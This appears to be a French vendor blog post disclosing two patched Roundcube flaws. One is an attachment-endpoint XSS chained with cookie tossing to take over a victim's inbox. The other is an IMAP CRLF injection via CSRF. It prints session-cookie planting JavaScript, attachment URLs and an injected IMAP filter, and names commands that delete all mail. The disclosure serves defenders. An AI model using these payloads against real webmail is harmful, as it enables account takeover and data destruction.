Roundcube est le client webmail open-source le plus largement déployé au monde. Nous avons récemment découvert une vulnérabilité dangereuse dans l'application ! Il s'agit d'une XSS stockée qui, chaînée avec une technique de cookie tossing, donne à un attaquant un accès complet à la boîte de réception d'une victime et, à partir de là, à tout compte utilisant cette adresse e-mail pour l'authentification ou la récupération de mot de passe.
Nous l'avons découverte en exécutant nos agents de pentest IA sur une instance locale de Roundcube. Toutes les découvertes ont été signalées de manière responsable à Nextcloud, les mainteneurs de Roundcube, via HackerOne (XSS divulguée sous le numéro #3594137) et corrigées dans la version 1.6.14.
Dans cet article, nous allons détailler ce que nous avons fait, comment nos agents ont découvert la vulnérabilité, et comment une simple injection HTML pourrait compromettre entièrement la boîte de réception d'un utilisateur.
Le point d'injection
Chaque attaque a un point de départ. Examinons-en un que l'un de nos agents a identifié pour audit.
Roundcube gère le contenu contrôlé par l'utilisateur de différentes manières. Les corps d'e-mails sont la surface la plus scrutée. Ils sont fortement assainis car ils sont affichés en ligne avec le reste de l'application.
Les pièces jointes HTML sont rendues via un endpoint distinct dans mail/get.php, avec une politique de sécurité de contenu (CSP) configurée avec 'script-src 'none'' pour bloquer l'exécution de JavaScript.
Un troisième endpoint, plus discret, gère les pièces jointes en ligne qui n'ont pas encore été envoyées, visualisables temporairement lors de la rédaction d'un e-mail. C'est l'endpoint que nous allons examiner. L'action 'display-attachment' gère ce type de requêtes :
class rcmail_action_mail_attachment_display extends rcmail_action_mail_attachment_upload {
...
public function run($args = []) {
self::init();
$rcmail = rcmail::get_instance();
$file = $rcmail->get_uploaded_file(self::$file_id);
self::display_uploaded_file($file);
La fonction self::display_uploaded_file() est l'endroit où la magie opère. Comme rcube_uploads.php le montre, ce type de pièces jointes est renvoyé directement avec leur type de contenu et leur corps d'origine, sans aucune assainissement, sandboxing ni politique de sécurité de contenu (CSP) appliquée.
header('Content-Type: ' . $file['mimetype']);
header('Content-Length: ' . $file['size']);
if (isset($file['data']) && is_string($file['data'])) {
echo $file['data'];
} elseif (!empty($file['path'])) {
readfile($file['path']);
}
Comment atteindre cet endpoint, vous demandez-vous ? Lors de la rédaction d'un nouvel e-mail dans Roundcube, vous pouvez joindre un fichier à l'e-mail temporaire, spécifiquement un fichier HTML. Nous allons lui donner un contenu malveillant :
<script>alert(origin)</script>
Après le téléchargement, cliquer sur la pièce jointe ouvre une fenêtre pop-up qui la rend en utilisant l'action 'get', protégée par une CSP robuste. C'est le chemin sûr. La partie intéressante est ce qui se passe lorsque vous échanger _action=get contre _action=display-attachment:

Prenez l'URL originale pour cet affichage :
/?_task=mail&_frame=1&_file=rcmfile21774532162043767100&_id=193102765369c53621200f8&_action=get&_extwin=1Échanger _action=get contre _action=display-attachment et en supprimant certains paramètres inutiles, vous obtenez :
\/?_task=mail&_file=rcmfile21774532162043767100&_id=193102765369c53621200f8&_action=display-attachmentCette URL affiche le même contenu, mais sans le CSP! Ainsi, le code JavaScript intégré à notre code HTML s'exécute, signalant l'origine actuelle et confirmant la présence d'une faille XSS :

Il s'agit d'une Self-XSS intéressante, mais est-ce réellement un problème ? Si nous sommes réalistes, un utilisateur lambda ne va pas télécharger notre charge utile XSS de lui-même et continuer à la visualiser de cette manière particulière…
En examinant attachment_upload.php, vous constaterez qu'une compose_data_ clé de session doit être définie pour votre utilisateur actuel, et seul cet utilisateur peut récupérer la pièce jointe.
public static function init()
{
self::$COMPOSE_ID = rcube_utils::get_input_string('_id', rcube_utils::INPUT_GPC);
self::$COMPOSE = null;
self::$SESSION_KEY = 'compose_data_' . self::$COMPOSE_ID;
if (self::$COMPOSE_ID && !empty($_SESSION[self::$SESSION_KEY])) {
self::$COMPOSE = &$_SESSION[self::$SESSION_KEY];
}
if (!self::$COMPOSE) {
exit('Invalid session var!');Puisqu'il s'agit d'une pièce jointe temporaire liée uniquement à votre session actuelle, il n'y a aucun moyen de préparer une charge utile et de faire en sorte qu'une victime la déclenche en se connectant au compte de l'attaquant, comme nous l'avons vu avec Mailcow. L'intégralité du roundcube_sessid cookie de l'attaquant devrait être copiée sur la victime. Une autre tâche qui semble impossible.
Exploiter une Self-XSS avec le Cookie Tossing
La Self-XSS que nous avons trouvée semble inexploitable à première vue. La pièce jointe est liée à la session, il n'y a donc aucun moyen de préparer une charge utile pour une victime sans également lui transmettre le cookie de session de l'attaquant. Mais le problème n'est pas encore résolu. C'est là qu'intervient le cookie tossing.
Dans les navigateurs, les cookies présentent certaines particularités intéressantes, dont l'une est l' Domain=attribut.
> Seul le domaine actuel peut être défini comme valeur, ou un domaine d'ordre supérieur, à moins qu'il ne s'agisse d'un suffixe public. La définition du domaine rendra le cookie disponible pour celui-ci, ainsi que pour tous ses sous-domaines.
Les cookies peuvent être définis non seulement pour le domaine actuel, mais aussi pour un domaine parent. Un cookie défini par sub.example.com avec Domain=example.com devient disponible pour chaque sous-domaine de example.com, y compris ceux comme other.example.com qui n'avaient rien à voir avec sa définition. Ce type d'attaque est appelé Cookie Tossing, où un sous-domaine écrit des cookies qu'un autre sous-domaine lira.
Cela signifie que tout ce dont nous avons besoin pour exploiter notre vulnérabilité est le contrôle d'un sous-domaine sur le même domaine que le domaine Roundcube cible. À partir de là, une vulnérabilité XSS distincte sur quelque chose comme xss.target.local peut définir la document.cookie propriété pour écrire des cookies avec l' Domain=target.local attribut. Une fois ces cookies définis, le navigateur de la victime les enverra à mail.target.local, où Roundcube chargera la session de l'attaquant au lieu de celle de la victime.
Cette session contient la pièce jointe HTML malveillante prête et en attente. En naviguant la victime vers l'URL de la pièce jointe, la charge utile XSS est déclenchée à l'intérieur de l'origine de Roundcube, sur le navigateur de la victime, sans aucune interaction supplémentaire requise.
En résumé, ce qu'un attaquant doit faire pour l'exploiter est :
- Se connecter à son propre compte, créer un nouvel e-mail et joindre un fichier HTML malveillant.
- Copier le lien pour visualiser (rendre) la pièce jointe et les cookies
- Depuis un sous-domaine vulnérable à XSS, définir les valeurs des cookies en utilisant
document.cookieavec l'Domain=attribut pointant vers le domaine cible. - Rediriger la victime vers le lien de la pièce jointe. Le XSS se déclenche dans l'origine de Roundcube.
Voici à quoi ressemble la charge utile XSS du sous-domaine en pratique, définissant les cookies de session et redirigeant la victime vers l'URL de la pièce jointe.
document.cookie='roundcube_sessid=1798cbb4c1d7c7f9ca26069b52aac1aa; Domain=target.local'
document.cookie='roundcube_sessauth=GfNmiyX5brPm4l814QUx62l5gsJKBXfU-1773063000; Domain=target.local'
location.href = 'http://mail.target.local/?_task=mail&_action=display-attachment&_id=183727919869aecb6499f76&_file=rcmfile11773063013009066400';Depuis le XSS du sous-domaine, le reste de l'exploit Roundcube ne nécessite plus d'interaction utilisateur. Toute la sécurité de Roundcube repose désormais sur chaque sous-domaine de même site.

Accès complet
La fenêtre contextuelle d'alerte dans la capture d'écran ci-dessus confirme que le XSS s'exécute sur l'origine de Roundcube, mais cela ne démontre pas un impact réel en soi. Il y a toujours un problème. À ce stade, nous avons chargé la session de l'attaquant dans le navigateur de la victime, donc toute action effectuée le sera sur le compte de l'attaquant plutôt que sur celui de la victime. Excellent pour livrer notre charge utile, moins idéal pour accéder à des éléments auxquels nous n'aurions normalement pas accès.
Si vous regardez le navigateur, les cookies ne sont pas réellement remplacés lorsque nous définissons un différent Domain=. Ils sont tous deux envoyés !
Cookie: roundcube_sessauth=VICTIM; roundcube_sessauth=ATTACKER
Lorsque les deux cookies sont présents, le serveur choisit celui de l'attaquant, car il apparaît en dernier dans l'en-tête. Sur la charge utile XSS, nous voulons que les cookies de l'attaquant soient choisis, tandis que sur tous les autres points d'accès par la suite, nous voulons les cookies de la victime. Heureusement, les cookies possèdent un autre attribut qui résout parfaitement ce problème : Path=.
En définissant un chemin unique comme Path=/index.php/xss, qui pointe toujours vers la page d'accueil, les cookies seront envoyés uniquement lorsque ce chemin correspond à la cible de la requête. Ainsi, pour nos requêtes :
/index.php/xssenvoieroundcube_sessauth=VICTIM; roundcube_sessauth=ATTACKER-> la charge utile de l'attaquant est renvoyée- / envoie
roundcube_sessauth=VICTIM-> les e-mails de la victime sont renvoyés
Il suffit de modifier l'exploit JavaScript pour définir ce nouvel attribut, et de naviguer vers /index.php/xss ensuite pour s'assurer que les cookies de l'attaquant sont envoyés dans cette requête pour notre charge utile, mais après cela, notre XSS est libre d'accéder au compte de la victime.
document.cookie='roundcube_sessid=1798cbb4c1d7c7f9ca26069b52aac1aa; Domain=target.local; Path=/index.php/xss'
document.cookie='roundcube_sessauth=GfNmiyX5brPm4l814QUx62l5gsJKBXfU-1773063000; Domain=target.local; Path=/index.php/xss'
location.href = 'http://mail.target.local/index.php/xss?_task=mail&_action=display-attachment&_id=183727919869aecb6499f76&_file=rcmfile11773063013009066400';Dans les DevTools, nous pouvons voir comment les cookies dupliqués sont configurés maintenant :

Bien que les conditions requises pour exploiter cela (compte sur Roundcube + XSS de sous-domaine) soient un peu complexes, l'impact potentiel d'une exploitation réussie est énorme.
L'e-mail est la forme d'authentification la plus largement fiable, car de nombreux sites web s'appuient sur des "liens magiques" pour la connexion ou la récupération de mot de passe. Lorsqu'un attaquant a accès à vos e-mails, il peut déclencher ce type de réinitialisations de mot de passe sur tous les sites web auxquels votre e-mail est connecté. Ensuite, il peut lire l'e-mail que ce service envoie pour confirmer et obtenir l'accès à de nombreux autres comptes.
Correction
Mettez à jour Roundcube vers la version 1.6.14 ou ultérieure (1.6.x), ou 1.5.14 ou ultérieure (1.5.x LTS). Toutes les vulnérabilités signalées sont corrigées dans cette version. Si vous utilisez Aikido, les instances Roundcube vulnérables sont automatiquement signalées dans votre flux de surveillance de surface comme une découverte de gravité moyenne.

Pas encore sur Aikido ? Créez un compte gratuit pour commencer, aucune carte de crédit requise.
Conclusion
Bien que cela ait initialement ressemblé à une vulnérabilité XSS triviale, l'exploitation de celle-ci a nécessité une connaissance un peu plus approfondie des cookies et des sessions. Les sous-domaines de même site se voient souvent accorder légèrement plus de permissions que les sites web complètement séparés par le navigateur, une raison supplémentaire de s'assurer que tous vos actifs sont sécurisés.
C'est une tâche difficile, mais comme démontré ici, Aikido Attack peut réaliser des tests d'intrusion autonomes sur les applications web pour trouver de telles vulnérabilités sur l'ensemble de votre infrastructure.
Les mainteneurs de Roundcube ont corrigé cette vulnérabilité dans la version 1.6.14 en ajoutant une script-src 'none' politique de sécurité du contenu, tout comme le reste des pièces jointes l'avait déjà. Cela rend impossible l'exécution de JavaScript lors du retour de HTML arbitraire.
Bonus : Injection CRLF IMAP via CSRF
Lors du même pentest, un autre agent a trouvé une seconde vulnérabilité que nous avons trouvée particulièrement intéressante. Après l'avoir signalée, elle s'est avérée être un doublon que la Martila Security Research Team avait également trouvée. Néanmoins, nous l'avons trouvée suffisamment intéressante pour en expliquer brièvement les détails ici.
Le /?_task=mail&_action=search le point de terminaison transmet le paramètre fourni par le client _filter directement dans la commande IMAP SEARCH commande dans rcube_imap_generic.php:
if (!empty($criteria)) {
$params .= ($params ? ' ' : '') . $criteria;
} else {
$params .= 'ALL';
}
[$code, $response] = $this->execute($return_uid ? 'UID SEARCH' : 'SEARCH', [$params]);Bien que la fonction semble séparer la commande de ses arguments, l'implémentation de execute() les concatène simplement sans assainissement :
foreach ($arguments as $arg) {
$query .= ' ' . self::r_implode($arg);
}
En injectant un retour chariot et un saut de ligne (CRLF, %0D%0A) caractères, un attaquant peut s'échapper des paramètres de RECHERCHE et injecter des commandes IMAP supplémentaires au sein de la session IMAP de l'utilisateur authentifié.
Ainsi, il est possible non seulement de rechercher des e-mails, mais aussi d'ajouter des dossiers, de déplacer des e-mails ou de supprimer toute la boîte de réception, étant donné qu'il s'agit de commandes IMAP brutes.
Ci-dessous un exemple de filtre défini sur ALL%0D%0AX007%20CREATE%20EvilFolder:
Le fait de le visiter envoie les données suivantes à IMAP, avec la commande CREATE injectée qui s'exécute après la recherche :
X006 SEARCH ALL
X007 CREATE EvilFolderL'effet de ceci peut ensuite être observé dans l'interface utilisateur de Roundcube :

Puisqu'il s'agit d'une simple requête GET, il suffit de visiter le lien ci-dessus pour exécuter les commandes. Ainsi, un simple clic sur un lien pourrait supprimer définitivement tous les e-mails (X001 UID STORE 1:* FLAGS \Deleted suivi de X002 EXPUNGE), entraînant une perte importante de données.
Cette vulnérabilité est maintenant corrigée en supprimant \r\n les caractères des requêtes de recherche.

